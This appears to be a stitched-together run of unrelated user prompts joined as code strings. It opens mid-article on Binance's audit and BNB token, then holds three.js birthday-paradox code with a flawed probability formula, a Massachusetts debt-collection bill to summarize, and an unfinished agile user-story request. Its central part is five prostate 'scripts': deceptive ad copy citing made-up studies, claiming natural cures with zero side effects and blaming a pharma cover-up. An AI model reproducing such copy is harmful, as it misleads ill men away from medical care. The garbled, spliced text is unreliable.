shifted headquarters between various jurisdictions known for light regulation, including Malta, and does not provide clear information about where its headquarters is located today. A spokesperson said Binance has “regional hubs” in Dubai and Paris.\n\nAnd then there is the matter of Binance’s finances. Zhao has repeatedly asserted on Twitter that every asset a customer places on Binance’s platform is backed 1:1 by assets held by Binance. Earlier this week, the company published an audit, an apparent attempt to reassure customers that their funds were safe. But it did little to quiet fears. The audit was prepared by the South African branch of global firm Mazars, rather than by one of the Big Four accounting firms, and critics noted that the document was woefully incomplete. One accounting professor went so far as to call it “worthless.”\n\nIn response to an inquiry from Fortune about the audit report, a well-known crypto founder—whose company competes with Binance—likewise blasted the report as insufficient. “It really comes off as if they’re covering up something. … [They’re] trying to show collateral value rather than 1:1 assets vs liabilities. The collateral trick is exactly the game FTX was playing, borrowing good money from users with bad money for collateral. It’s very suspicious,” wrote the founder, who asked not to be identified.\n\nIn response to an inquiry about why Binance did not use a Big Four firm, a spokesperson said the company asked the firms to do conduct a so-called proof-of-reserve audit but that “they are currently unwilling to conduct a PoR for a private crypto company.” They added that Binance in the meantime intends to use technological solutions known as Merkle Trees and zk-SNARKs to provide evidence to customers that their funds are safe.\n\nAs for BNB, the Binance-created token was released in 2020 and is today the fifth-most-valuable cryptocurrency, with a market cap of around $43 billion. In response to an inquiry from Fortune, a Binance spokesperson strongly argued that BNB is not analogous to FTT—the illiquid token that FTX’s disgraced founder Sam Bankman-Fried created and then used to as collateral.\n\n“Binance has never used BNB for collateral, and we have never taken on debt as an organization. BNB is a blockchain token, which means it is the official currency of BNB Chain, the largest chain by active users on the globe—even larger than ethereum,” the spokesperson wrote. “This is the utility that BNB provides to millions of users across the globe each day and why it is highly liquid and has organic demand. Furthermore, BNB is a finite asset that is algorithmically burned periodically and is managed by a voting protocol within the BNB Chain community. FTT on the other hand, was an ‘exchange token’ which provided little to no utility to the marketplace and was entirely illiquid.”\n\nBinance has sought to portray BNB and its associated blockchain as largely decentralized, and akin to Bitcoin or Ethereum. These claims have been greeted with skepticism, however, within the broader crypto community, particularly after a revealing incident: The Binance chain got hacked for $570 million in early October. In response to the hack, Binance quickly “paused” the chain’s activities—a feat that could not be easily undertaken on a decentralized blockchain. The incident provoked mocking responses like the one below about who actually controlled the chain:' +"This is my code. Do you understand. All looks good?\n\nconst scene = new THREE.Scene();\n\n// Add a light source\nconst light = new THREE.PointLight(0xffffff, 1, 100);\nlight.position.set(0, 0, 20);\nscene.add(light);\n\nconst camera = new THREE.PerspectiveCamera(75, window.innerWidth / window.innerHeight, 0.1, 1000);\nconst renderer = new THREE.WebGLRenderer();\nrenderer.setSize(window.innerWidth, window.innerHeight);\ndocument.body.appendChild(renderer.domElement);\n\nlet nodeCount = 30;\nconst radius = 15;\nconst circleGeometry = new THREE.CircleGeometry(0.5, 32);\nconst lineMaterial = new THREE.LineBasicMaterial({ color: 0xffa500, opacity: 1, transparent: true });\n\nconst nodes = [];\nlet currentNodeIndex = 0;\nlet currentConnectionIndex = 1;\nlet connectionCount = 0;\nlet matchLikelihood = 0;\nfunction initializeNodes() {\n for (let i = 0; i < nodeCount; i++) {\n const circleMaterial = new THREE.MeshBasicMaterial({ color: Math.random() \\* 0xffffff });\n const circle = new THREE.Mesh(circleGeometry, circleMaterial);\n const angle = (i / nodeCount) \\* 2 \\* Math.PI;\n circle.position.set(radius \\* Math.cos(angle), radius \\* Math.sin(angle), 0);\n scene.add(circle);\n nodes.push(circle);\n }\n\n animate();\n}\nlet previousLines = [];\n// Add this function to reduce color saturation\nfunction reduceSaturation(material, amount) {\n const color = material.color;\n const hsl = color.getHSL({ h: 0, s: 0, l: 0 });\n hsl.s -= amount;\n color.setHSL(hsl.h, Math.max(hsl.s, 0), hsl.l);\n}\n\nfunction connectNodes(nodeA, nodeB) {\n if (previousLines.length > 0) {\n // Change the color of all other lines to white\n previousLines.forEach((line, index) => {\n line.material.color.set(0xffffff);\n\n // Reduce the opacity of all previous lines by 5% (except the current line)\n if (index !== previousLines.length - 1) {\n line.material.opacity = Math.max(line.material.opacity \\* 0.95, 0.5);\n }\n });\n\n // Remove the thickness from the previous line\n const lastLine = previousLines[previousLines.length - 1];\n lastLine.material.linewidth = 1;\n\n // Reduce the saturation of the previously completed person\n reduceSaturation(nodeA.material, 0.2);\n }\n\n const points = [nodeA.position, nodeB.position];\n const geometry = new THREE.BufferGeometry().setFromPoints(points);\n\n // Create a copy of the lineMaterial to avoid modifying the original\n const currentLineMaterial = lineMaterial.clone();\n currentLineMaterial.linewidth = 6; // Increase the linewidth of the current connection by 2px\n\n const line = new THREE.Line(geometry, currentLineMaterial);\n scene.add(line);\n\n previousLines.push(line);\n}\n\nconst speedSlider = document.getElementById('speed-slider');\nconst speedLabel = document.getElementById('speed-label');\nlet animationSpeed = 510 - parseInt(speedSlider.value);\n\nspeedSlider.addEventListener('input', (event) => {\n const value = event.target.value;\n speedLabel.textContent = 510 - value;\n animationSpeed = 510 - parseInt(value);\n});\n\nconst confirmButton = document.getElementById('confirm-button');\nconfirmButton.addEventListener('click', () => {\n resetAnimation();\n});\nconst resetButton = document.getElementById('reset-button');\nresetButton.addEventListener('click', () => {\n resetAnimation();\n});\n\nconst peopleInput = document.getElementById('people-input');\npeopleInput.addEventListener('change', () => {\n resetAnimation();\n});\n\nconst loader = new THREE.FontLoader();\nlet font;\n\nloader.load('https://threejs.org/examples/fonts/helvetiker\\_regular.typeface.json', (loadedFont) => {\n font = loadedFont;\n startVisualization();\n});\n\n\nfunction updateLikelihoodText(likelihood) {\n if (scene.getObjectByName('likelihoodText')) {\n scene.remove(scene.getObjectByName('likelihoodText'));\n }\n\n const text = `Likelihood: ${(likelihood \\* 100).toFixed(2)}% | Connections: ${connectionCount}`;\n const textGeometry = new THREE.TextGeometry(text, {\n font: font,\n size: 2,\n height: 0.1,\n });\n\n const textMaterial = new THREE.MeshBasicMaterial({ color: 0x90ee90 });\n const textMesh = new THREE.Mesh(textGeometry, textMaterial);\n textMesh.name = 'likelihoodText';\n\n textGeometry.computeBoundingBox();\n const textWidth = textGeometry.boundingBox.max.x - textGeometry.boundingBox.min.x;\n textMesh.position.set(-textWidth / 2, 0, 0);\n\n scene.add(textMesh);\n}\nlet lastUpdateTime = 0;\n// Add raycaster and mouse vector\nconst raycaster = new THREE.Raycaster();\nconst mouse = new THREE.Vector2();\n\n// Add an event listener for mousemove\nwindow.addEventListener('mousemove', onMouseMove, false);\n\n// Store the index of the currently hovered node\nlet hoveredNodeIndex = null;\n\nfunction onMouseMove(event) {\n // Calculate mouse position in normalized device coordinates (-1 to +1) for both components\n mouse.x = (event.clientX / window.innerWidth) \\* 2 - 1;\n mouse.y = -(event.clientY / window.innerHeight) \\* 2 + 1;\n\n // Update the picking ray with the camera and mouse position\n raycaster.setFromCamera(mouse, camera);\n\n // Calculate objects intersecting the picking ray\n const intersects = raycaster.intersectObjects(nodes);\n\n if (intersects.length > 0) {\n // Get the index of the intersected node\n const intersectedNode = intersects[0].object;\n hoveredNodeIndex = nodes.indexOf(intersectedNode);\n\n // Change the line color to orange for all connections of the hovered node\n for (let i = 0; i < previousLines.length; i++) {\n const line = previousLines[i];\n if (line.geometry.attributes.position.array.includes(intersectedNode.position.x)) {\n line.material.color.set(0xffa500);\n } else {\n line.material.color.set(0xffffff);\n }\n }\n } else {\n // Reset the hovered node index and line colors when no node is hovered\n hoveredNodeIndex = null;\n previousLines.forEach((line) => {\n line.material.color.set(0xffffff);\n });\n }\n\n // Calculate the target camera position based on the mouse position\n const targetCameraOffset = new THREE.Vector3(mouse.x \\* 2.5, mouse.y \\* 2.5, 0);\n targetCameraPosition = new THREE.Vector3(0, 0, 25).add(targetCameraOffset);\n\n // Update the target camera position when a node is hovered\n if (hoveredNodeIndex !== null) {\n const nodeWorldPosition = nodes[hoveredNodeIndex].getWorldPosition(new THREE.Vector3());\n targetCameraPosition.x = nodeWorldPosition.x;\n targetCameraPosition.y = nodeWorldPosition.y;\n targetCameraPosition.z = 20; // Zoom in 20% when hovering a node\n } else {\n targetCameraPosition.z = 22.5; // Zoom in 10% based on mouse position\n }\n}\n\nfunction animate(time) {\n\n if (currentNodeIndex < nodeCount - 1 && hoveredNodeIndex === null) {\n // ... (the rest of the animate function remains unchanged)\n \n if (time - lastUpdateTime >= animationSpeed) {\n // Reset the size of the active person's circle\n if (currentNodeIndex > 0) {\n nodes[currentNodeIndex - 1].scale.set(1, 1, 1);\n }\n\n if (currentConnectionIndex < nodeCount) {\n // Increase the size of the active person's circle\n nodes[currentNodeIndex].scale.set(5, 5, 1);\n\n connectNodes(nodes[currentNodeIndex], nodes[currentConnectionIndex]);\n connectionCount++;\n\n // Update the likelihood of matching birthdays\n matchLikelihood = 1 - (365 / 365) \\* ((365 - 1) / 365) \\*\\* connectionCount;\n updateLikelihoodText(matchLikelihood);\n\n currentConnectionIndex++;\n } else {\n currentNodeIndex++;\n currentConnectionIndex = currentNodeIndex + 1;\n }\n\n lastUpdateTime = time;\n } \n \n requestAnimationFrame(animate);\n \n \n \n }\n \n}\n\n\ninitializeNodes();\n\nfunction resetAnimation() {\n // Remove the light source from the scene\n scene.remove(light);\n\n scene.clear();\n nodes.length = 0;\n currentNodeIndex = 0;\n currentConnectionIndex = 1;\n connectionCount = 0;\n matchLikelihood = 0;\n nodeCount = parseInt(peopleInput.value);\n initializeNodes();\n animate();\n\n // Re-add the light source to the scene\n scene.add(light);\n}\n\nfunction startVisualization() {\n initializeNodes();\n animate();\n}\nconst simplex = new SimplexNoise();\nlet time = 0;\n\ncamera.position.set(0, 0, 25);\n\n// Add a target camera position\nlet targetCameraPosition = new THREE.Vector3(0, 0, 25);\n\n// Add a new function for updating the camera position\nfunction updateCamera() {\n if (hoveredNodeIndex !== null) {\n camera.position.lerp(nodes[hoveredNodeIndex].position, 0.05);\n camera.position.z = 20;\n } else {\n const targetCameraOffset = new THREE.Vector3(mouse.x \\* 2.5, mouse.y \\* 2.5, 0);\n targetCameraPosition = new THREE.Vector3(0, 0, 25).add(targetCameraOffset);\n camera.position.lerp(targetCameraPosition, 0.05);\n }\n camera.lookAt(scene.position);\n}\n\nfunction render() {\n requestAnimationFrame(render);\n\n // Update the camera position\n time += 0.005;\n const cameraRadius = 25;\n const offsetX = cameraRadius \\* 0.1 \\* simplex.noise2D(time, 0);\n const offsetZ = cameraRadius \\* 0.1 \\* simplex.noise2D(time, 1);\n\n // Update camera position based on the hovered node and mouse position\n updateCamera();\n\n renderer.render(scene, camera);\n}\n\nrender();" +"That was the last of the vision loss scripts. The next scripts are about prostate:\nScript 16:\nThis changes everything we know about enlarged prostates!\n\nAfter a ground breaking study which analysed the way 12,500 American men pee...\n\nScientists made a shocking discovery…\n\nThey discovered that even men who frequently have the frequent urge to urinate, or weak streams are at risk for prostate problems, which include prostate cancer, benign prostatic hyperplasia and prostatitis. \n\nSo if you have any prostate issues you must stop what your doing and watch this! this discovery could save your life. \n\nA shocking link between cortisol and your prostate was discovered by researchers at prestigious institutions like Harvard University, these studies show that your prostate will continue to swell like a balloon, even if you use traditional therapies. \n\nAnd that's because they don't do a single thing to actually improve the root cause of your prostate issues. These brilliant scientist’s have discovered the real reason why you can't sleep through the night without multiple bathroom trips. \n\nThe discovery lead to a revolutionary new way to reverse your prostate problems once and for all. No matter what your age, your current condition, and it works like crazy. \n\nThis secret habit is so amazing. It sent the entire prostate pharma industry back to the drawing board. And it's currently losing the millions of dollars. \n\n18 thousand men are already doing it and cutting down on trips to the bathroom, while restoring strong urine streams that flow like a mighty river. It's so powerful because it targets the single root cause of enlarged prostates. So if you're suffering from frequent urination, overwhelming urges to go and weak streams. \n\nStop everything you're doing and click the link below to watch a short free special video, that explains exactly how to reverse prostate problems quickly. And no, this has nothing to do with meds, surgery or Saw Palmetto and it works for all types of prostate symptoms. \nFrequent urination, waking up multiple times a night to pee, uncomfortable urges to go, inability to empty your bladder and weak start and stop streams, you name it. \n\nHundreds of men from all over the country have been writing in sharing how this new prostate breakthrough has cleared their bladder problems in weeks. \nAnd for the first time in years, they can sleep through the night again. For many this breakthrough has saved their marriages thanks to increased performance in the bedroom which they thought was gone forever. \n\nHow did this breakthrough happen? It's all thanks to the brilliant team of researchers right here in the USA, who figured out how to develop the perfect cortisol busting protocol, that can stop prostate growth in its tracks and reverse all of those miserable symptoms. After months of intense study and testing, they identified 13 prostate helpers, proven to turn back the clock on enlarged prostates giving thousands of men everywhere powerful streams, better sleep and turbocharged libidos. \n\nAs you can imagine, the pharmaceutical complex is trying their best to get this video taken down in a desperate attempt to save their profits. \n\nSo click the link below and watch this short eye opening video before it's gone. Click Below before it's too late.\n\nScript 17:\nWant to know how to reduce your swollen prostate for good? \n\ntop medical doctor shows how a 56 year old man who had been suffering from persistent prostate issues, used this all natural method to reduce his swollen prostate and finally fix all his swollen prostate symptoms in record time! \n\nAfter studying the way 12,500 American men pee... Scientists made a shocking discovery, They discovered a natural way to drastically restore swollen prostate’s, in record time. The\nstudies show that your prostate will continue to swell each passing year, even if you use traditional therapies. Like\nSaw\nPalmetto or other medications, And that's because they don't do a single thing to actually improve the root cause of your prostate issues. This\nbrilliant scientist has discovered the real reason why your prostate is swelling. and this simple trick that can reverse your prostate problems while you sleep through the night, no matter your age or current condition. A shocking link between cortisol and your prostate was discovered by researchers at prestigious institutions like Harvard University\n\nThese studies have shown that even men who have mild symptoms such as the frequent urge to urinate, or weak streams are at risk for prostate problems, which include prostate cancer, benign prostatic hyperplasia and prostatitis.\n\nSo stop everything you're doing and click the link below to watch a short free special video, Discover this revolutionary new way to reverse your prostate problems once and for all. and it works for all types of prostate symptoms. Frequent urination, waking up multiple times a night to pee, uncomfortable urges to go, inability to empty your bladder and weak start and stop streams.\nand it works like crazy.\n\nThis one simple trick is so amazing It sent the entire prostate- care industry back to the drawing board and it's currently losing them millions of dollars. \n\nOver 37,000 men are already doing it and cutting down on trips to the bathroom, while restoring strong urine streams that flow like a mighty river.\nAnd no, this has nothing to do with meds, surgery or Saw Palmetto. Hundreds of men from all over the country have been writing in sharing how this new prostate breakthrough has cleared their bladder problems in weeks. And for the first time in years, they can sleep through the night again. For many this breakthrough has saved their marriages thanks to increased performance in the bedroom which they thought was gone forever. Jim is a man who had gotten a prostate exam by his urologist seven months ago, his examination came back that he had a severely swollen prostate that was blocking his urethra, He was prescribed a catheter. But soon after he discovered and started doing this simple habit. He couldn't believe his results. \n\nWhen he went to the toilet he was shock to see first hand that he was finally able to empty his bladder, he noticed his libido was increasing, and he could finally sleep the whole night without waking up\n\nAfter a month, he went back to see the doctor who was shocked to see that Jim was cleared and the doctor no longer said a word about a catheter\n\nSo click the link below and watch the short free eye opening video now before it's gone for good. \n\nIf it worked for Jim and thousands of other men. Imagine what it can do for you too!\n\nScript 18:\nWant to know how to reduce your swollen prostate for good?\n\nTop doctor from has discovered the real root cause of swollen prostates. And it has nothing to do with your diet, testosterone levels or even genetics. \n\nBut instead The studies show that your prostate will continue to swell each passing year, even if you use traditional therapies. Like saw Palmetto or other medications, And that's because they don't do a single thing to actually improve the root cause of your prostate issues.\n\nSo before you resign yourself to being hooked on medication for life or other deliberating surgeries, you’ve got to see this now, \n\nthis well known doctor was forced out of his practice after he unveiled a billion dollar secret he wasn't supposed to know a clinically proven simple trick you can use starting today to potentially reduce your swollen prostate, regardless of your age or medical condition, and it works like crazy. \n\nMore than 43,000 men are already doing it and they have been able to treat reduce their swollen prostate successfully and no longer suffer with the serious and sometimes embarrassing symptoms, they are no longer waking up during the night and have finally restored strong and powerful streams being able to completely receive them selves!\n\nRemember, this has nothing to do with meds, surgery or expensive treatments, \n\nwell stop everything you're doing and click the link below to watch a short free special video this doctor created \n\nThe $390 billion Prostate care industry doesn't want you to see this video and discover the extraordinary prostate fighting secret. Watch it now before it's too late.\n\nScript 19: \nIf you suffer from a swollen prostate, this might be the most important video you ever watch. \nAfter studying 12,500 American men pee, scientists discovered a revolutionary way to reverse enlarged prostates. \n\nTheir studies show that type a swollen prostate is a completely reversible condition, and if not treated properly, it increases the risk of so many other life threatening diseases such prostate cancer, benign prostatic hyperplasia and prostatitis. \n\nThis simple discovery is already helping thousands of men to free themselves from their swollen prostate symptoms. \n\nFor the first time in years, they have been able sleep through the night without multiple bathroom trips and uncomfortable urges to go, inability to empty their bladder and finally able to completely relieve themselves.\nIt doesn't require Saw palmetto or any other expensive meds, treatments, diets or surgery, instead a unique and very different way to finally reduce swollen prostates by targeting the real root cause of your prostate issues. \n\nAnd today, I'm going to show you how it's helping thousands of men from all around the world to drastically restore their swollen prostate’s, in record time.\nSo stop everything you're doing and click the link below to watch a short free special video, Discover how to quickly reverse your prostate problems once and for all. and it works for all types of prostate symptoms. Frequent urination, waking up multiple times a night to pee, uncomfortable urges to go, low libido, inability to empty your bladder and weak start and stop streams while also saving hundreds or even thousands of dollars on medications.\n\nAnd this unique and very different method of treating your swollen prostate, will provide immediate and long lasting results, is affordable for anyone uses natural ingredients has zero side effects. \n\nThis all natural solution is so simple and effective. \nThat no matter how severe or swollen your prostate is, how long you have been struggling with it for or what your family medical history is, it can be implemented into your daily routine in the comfort of your own home in a matter of seconds each day. \n\nThis all natural solution has saved the lives of over 76,000 men across the world and counting. Hundreds of men have been writing in sharing how this new prostate breakthrough has changed their lives. \n\nWell stop everything you're doing and click the link below to watch a short free private video. \n\nThe $390 billion prostate care industry doesn't want you to see these video and discover the extraordinary swollen prostate fighting secret. Watch it now before it's too late.\n\nScript 20:\nIf you're suffering from a growing prostate and always running to the bathroom to pee, you must see this. \n\nDid you know prostate problems have nothing to do with your age or even your testosterone levels? \n\nA shocking link between cortisol and your prostate was discovered by researchers at the University of Iowa, along with researchers at prestigious institutions like Harvard University, these studies show that your prostate will continue to swell like a balloon, even if you use traditional therapies. \n\nAnd that's because they don't do a single thing to actually improve the root cause of your prostate issues. This brilliant scientist helped in discovering the real reason why you can't sleep through the night without multiple bathroom trips, and a revolutionary new way to reverse your prostate problems once and for all. No matter what your age, your current condition, and it works like crazy. \n\nThis secret habit is so amazing. It sent the entire prostate pharma industry back to the drawing board. And it's currently losing the millions of dollars. \n\n18 thousand men are already doing it and cutting down on trips to the bathroom, while restoring strong urine streams that flow like a mighty river. It's so powerful because it targets the single root cause of enlarged prostates. So if you're suffering from frequent urination, overwhelming urges to go and weak streams. \n\nStop everything you're doing and click the link below to watch a short free special video, that explains exactly how to reverse prostate problems quickly. And no, this has nothing to do with meds, surgery or Saw Palmetto and it works for all types of prostate symptoms. \nFrequent urination, waking up multiple times a night to pee, uncomfortable urges to go, inability to empty your bladder and weak start and stop streams, you name it. \n\nHundreds of men from all over the country have been writing in sharing how this new prostate breakthrough has cleared their bladder problems in weeks. \nAnd for the first time in years, they can sleep through the night again. For many this breakthrough has saved their marriages thanks to increased performance in the bedroom which they thought was gone forever. \n\nHow did this breakthrough happen? It's all thanks to the brilliant team of researchers right here in the USA, who figured out how to develop the perfect cortisol busting protocol, that can stop prostate growth in its tracks and reverse all of those miserable symptoms. After months of intense study and testing, they identified 13 prostate helpers, proven to turn back the clock on enlarged prostates giving thousands of men everywhere powerful streams, better sleep and turbocharged libidos. \n\nAs you can imagine, the pharmaceutical complex is trying their best to get this video taken down in a desperate attempt to save their profits. \n\nSo click the link below and watch this short eye opening video before it's gone. Click Below before it's too late." +'can you summerize this bill about debt collection in massachussetts \nSection 2. (a) Notwithstanding section 34 of chapter 235, if earnings of a consumer are attached to satisfy a judgment for collection of a consumer debt, that consumer’s earnings for a week that are less than 65 times the greater of the federal minimum hourly wage under 29 U.S.C. section 206(a)(1) or the state minimum hourly wage under section 1 of chapter 151 in effect at the time shall be exempt from the attachment and not subject to garnishment. This exemption shall be adjusted pro rata for a pay period that is more than weekly.\n\n(b) If the consumer’s earnings exceed the amount that is exempt under subsection (a), not more than 10 per cent of the excess earnings shall be subject to garnishment.\n\n(c) Notwithstanding subsection (a), a judgment debtor may seek to exempt additional wages from attachment by making a claim of undue financial hardship by filing a form with the court. Such form shall be prepared by the court to allow a judgment debtor to easily identify the basis for the judgment debtor’s request for an additional exemption. Upon the filing of the financial hardship form, the court shall hold a hearing as soon as practicable to determine the total amount that shall be exempted from the judgment debtors’ wages.\n\n(d) If more than 1 order of attachment for a consumer debt is served on a trustee with respect to the same consumer, the order of attachment served earliest shall take priority. If an order of attachment with greater priority consumes the entirety of the income that is available for garnishment under the preceding subsections, then the consumer’s earnings shall not be garnished pursuant to the order of attachment with lower priority.\n\n(e) The protections for earnings under this section apply to consumers whose physical place of employment is in the commonwealth, notwithstanding that the consumer’s employer may have corporate offices or other places of business located outside the commonwealth.\n\n(f) This section shall not apply in a proceeding to attach earnings or a pension to satisfy a divorce, separate maintenance or child support order of a court of competent jurisdiction and in such a proceeding, including an action for trustee process to enforce a support order under section 36A of chapter 208, federal law limiting the amounts that may be trusteed, assigned or attached in order to satisfy an alimony, maintenance or child support order shall apply.\n\n(g) Except as otherwise permitted by law, an amount held by a trustee for a defendant in a pension, as defined in section 28 of chapter 246 shall be reserved in the hands of the trustee and shall be exempt from attachment to satisfy a judgment for collection of a consumer debt.\n\n(h) An employer shall not take adverse action against an employee or refuse to hire an individual because of one or more garnishments for consumer debts or because of obligations that any garnishments impose against the employer. An employer who violates this section shall be liable in a civil action, action for contempt or other appropriate proceeding to the employee or individual for the wages and employment benefits lost by the employee or individual from the time of the unlawful discipline, suspension, refusal to hire or discharge to the period of reinstatement and an additional penalty of not more than $1,000.\n\n(i) Income from child support payments shall be exempt from collection.\n\nSection 3. (a) Notwithstanding section 2 of chapter 260, an action for the collection of a consumer debt shall be commenced only within four years after the cause of action accrues. This limitations period shall apply to a consumer debt, whether the claim sounds in contract, account stated, open account or other cause, and notwithstanding another applicable statute of limitations of the Commonwealth or other jurisdiction. This time period also applies to a claim for a consumer debt based on a contract or instrument under seal.\n\n(b) Notwithstanding section 14 of chapter 260, a payment on a consumer debt after the limitations period in subsection (a) has run shall not revive or extend the limitations period or bar the consumer from asserting a defense to the collection of a consumer debt.\n\n(c) No creditor, debt buyer, or debt collector shall bring a suit or initiate an arbitration or other legal proceeding to collect a consumer debt if the applicable limitations period on the consumer debt in subsection (a) has expired.\n\n(d) A waiver by a consumer of a protection or right under this section is void and shall not be enforced.\n\n(e) Notwithstanding section 20 of chapter 260 or any other general or special law to the contrary, an action upon a judgment or decree on a consumer debt, including an execution upon or trustee process based on the judgment or decree and other activity to collect on the judgment, shall be commenced within 10 years after the entry of the judgment or decree. If an action on a judgment has commenced within 10 years, it may be renewed once for another 10 years. A judgment whose enforcement has been barred by the running of this limitations period shall not be revived or renewed.\n\nSection 4. (a) For matters arising from a consumer debt, a plaintiff who has obtained a judgment shall provide written notice to a consumer at least 30 days prior to a supplementary proceeding in a civil action for the examination of a consumer pursuant to section 14 of chapter 224 or a payment review hearing in a small claims action pursuant to Uniform Small Claims Rule 7(i). The notice shall inform the consumer of the opportunity to submit a financial affidavit in a form prescribed by the court. If the consumer indicates through the financial affidavit that all income and assets are exempt and files it as directed by the court, the court shall acknowledge receipt and inform both parties that the hearing is canceled. Once a signed financial affidavit form indicating that all income and assets are exempt is on file in that case, no further supplementary proceedings or payment review hearings may be scheduled unless the judgment creditor presents evidence of the judgment debtor’s non-exempt income or assets and the court determines that there is a reasonable basis to believe that there are non-exempt assets or income warranting the scheduling of a new supplementary proceeding or payment review hearing.\n\n(b) Notwithstanding the provisions of sections 18 and 20 of chapter 224 or any other applicable law or court rule, for matters arising from a consumer debt no capias or other warrant to compel the attendance of a consumer shall be issued for failure of the consumer to appear at a supplementary proceeding in a civil action for the examination of a consumer pursuant to section 14 of chapter 224 or a payment review hearing in a small claims action pursuant to Uniform Small Claims Rule 7(i). Instead failure to appear shall trigger the scheduling of a show cause hearing for the court to determine whether a capias or other warrant to compel the attendance of a consumer should issue. No capias or other warrant shall issue to compel the attendance of a consumer without evidence that notice of the show cause hearing was served on the consumer either by signed return receipt or by a sworn return of service.\n\n(c) Notwithstanding the provisions of sections 18 and 20 of chapter 224 or any other applicable law or court rule, a consumer that is compelled to attend pursuant to a capias or other warrant shall be brought before the court the same day. The consumer shall be given the opportunity to complete the financial affidavit described in paragraph (a). The capias or other warrant shall be satisfied by the consumer’s appearance in court or completion of the financial affidavit indicating that all forms of income and assets are exempt.\n\n(d) Notwithstanding the provisions of sections 18 and 20 of chapter 224 or any other applicable law or court rule, no person shall be imprisoned or jailed for failure to pay a consumer debt, nor shall any person be imprisoned or jailed for contempt of or failure to comply with a court order to pay a consumer debt in part or in full.\n\nSection 5. (a) If a plaintiff prevails in an action to collect a consumer debt, interest computed pursuant to section 6C of chapter 231 or section 8 of chapter 235 shall be limited to a fixed rate of interest of 2 percent per annum. A higher rate of interest on the judgment shall not be permitted, including the rate provided for in the contract. Notwithstanding any interest rate specified in a judgment prior to January 1, 2024 the applicable interest rate to be applied by the judgment creditor or its assignee on and after January 1, 2024, shall be 2%. Judgments issued prior to January 1, 2024 with an interest rate other than 2% are not required to be amended or reissued by the courts.\n\n(b) If the plaintiff prevails in an action to collect a consumer debt, the plaintiff shall be entitled to collect attorney’s fees only if the contract or other document evidencing the indebtedness sets forth an obligation of the consumer to pay attorney’s fees, subject to the following provisions: (i) if the contract or other document evidencing indebtedness provides for attorney’s fees in some specific percentage, the provision and obligation shall be valid and enforceable up to but not in excess of 15 per cent of the amount of the debt excluding attorney’s fees and collection costs; (ii) if a contract or other document evidencing indebtedness provides for the payment of reasonable attorney’s fees by the consumer , without specifying a specific percentage, the provision shall be construed to mean the lesser of 15 per cent of the amount of the debt, excluding attorney’s fees and collection costs, or the amount of attorney’s fees calculated by a reasonable rate for such cases multiplied by the amount of time reasonably expended to obtain the judgment; and (iii) the documentation setting forth a party’s obligation to pay attorney’s fees shall be provided to the court before a court may enforce those provisions; provided, however, that the documentation shall not include materials that the plaintiff has already filed together with the complaint in compliance with applicable court rules.\n\n(c) If the consumer is the prevailing party in an action to collect a consumer debt, the consumer shall be entitled to an award of reasonable attorney’s fees, unless the case is voluntarily dismissed with prejudice pursuant to Rule 41(a)(1)(i) of the Massachusetts Rules of Civil Procedure or a stipulation of dismissal explicitly provides otherwise. The amount of the debt that the plaintiff sought shall not be a factor in determining the reasonableness of the award. In the alternative, at the consumer’s election, a prevailing consumer in an action to collect a consumer debt shall be awarded the amount of attorney’s fees that the plaintiff would have been entitled to collect if the plaintiff had been the prevailing party.' +"I have the following requirement, can you help me write agile user stories?\n\nDescription\nThe purpose of this page is to describe the functionality of the ‘Add Product’ page. This is the initial page where a new product information is entered and added to the existing product listing. \n\nThe Product Definition has two phases. Each phase is described and detailed in its own separate section below. The phases are:\n\nSection 1- Add Phase (Feedlot, Enterprise/Company)\n1.1- Add Product Definition \n\n1. 1 Add Product Definition\nThis blank product form (Product Definition) is generated when user clicks on 'Add Product' button.\n\nWhen adding a new product, the product drop down list is disabled.\n\n1.1.1 ALL LEVELS (Feedlot, Company and Enterprise)\nRequirements\nTitle = Products Definition\nSub-title = All levels (Feedlot, Company and Enterprise).\n\nLabel: Product Code \\*\nType: Text\n\nREQUIRED FIELD.\n\nMust be UNIQUE to the product. \n\nCharacter Maximum of 15.\n\nValidation Message “Username cannot be greater than 15 characters” input stops after 15 characters\n\nIf not unique show system standard error message that reads ‘Code must be unique’.\n\nLabel: Description \\*\nType: Text\n\nREQUIRED FIELD.\n\nUser defined description of the product. \n\nValidation message = Description is required\n\nLabel: Product Type \\*\nType: Single Select Dropdown\n\nREQUIRED FIELD.\n\nThis is for grouping products into like categories and biological equivalence. \n\nValidation message = Product Type is required\n\nLabel: Manufacturer \\*\nType: Text\n\nREQUIRED FIELD.\n\nThis is the name of the business / company that makes the product. \n\nValidation message = Manufacturer is required\n\nLabel: Unit \\*\nType: Single Select Dropdown\n\nREQUIRED FIELD.\n\nChoice between Milliliter (ml), Liter (L) or Unit.\n\nThere is no “blank” choice. \n\nValidation message = Unit is required\n\nLabel: DIN/NDC \\*\nType: Number\n\nREQUIRED FIELD. \n\nMax value is 13 digits\n\nThis is the Drug Identification Number/ National Drug Code. It is a unique identifier for the product.\n\nValidation message = DIN/NDC is required\n\nLabel: External Code\nType: Text\n\nThis field is used to integrate with 3rd party systems. \n\nInventory Details\n\nLabel: Minimum Quantity in Inventory\nType: Number\n\nThis field represents the minimum quantity for inventory purposes.\n\nThe figure should be a whole number and not decimal. \n\nLabel: Maximum Quantity in Inventory\nType: Number\n\nThis field represents the maximum quantity for inventory purposes.\n\nThe figure should be a whole number and not decimal. \n\nPricing Details\n\nLabel: Pricing Method\nType: Single Select Dropdown\n\nChoice between Cost plus % OR Cost plus fixed price.\n\nCost Plus Percentage:\na. The cost of the product is the base value for calculating the selling price.\nb. The percentage markup will be added to the base cost to determine the final selling price.\nc. The percentage markup must be a positive value.\nd. The percentage markup should be entered as a whole number or a decimal (Ex, 25%).\ne. Min value= 0% and Max= 100%\nf. When this option is selected, the system should prompt the user to enter the percentage markup.\n\nCost Plus Fixed Price:\na. The cost of the product is the base value for calculating the selling price.\nb. A fixed price markup will be added to the base cost to determine the final selling price.\nc. The fixed price markup must be a positive value.\nd. The fixed price markup should be entered as a whole number or a decimal (Ex. 20.0000).\ne. 4 decimal places are required\nf. When this option is selected, the system should prompt the user to enter the fixed price markup.\n\nLabel: Post Treatment Interval\nType: Number\n\nThis field represents the Post treatment interval (PTI) which refers to the length of time between consecutive treatments with a particular product. \n\nThe figure should be a whole number and not decimal. \n\nLabel: Allow Reconcile\nType: Checkbox\n\nDefault to ‘checked’ for new custom fields.\n\nIf the checkbox is ACTIVE, the product will be available for selection during reconciliation.\n\nLabel: Dosage \\*\nType: Single Select Dropdown\n\nREQUIRED FIELD.\n\nChoice between CWT (weight based-'hundredweight') OR per HEAD. \n\nThere is no “blank” choice. \n\nValidation message = Dosage is required\n\nProduct 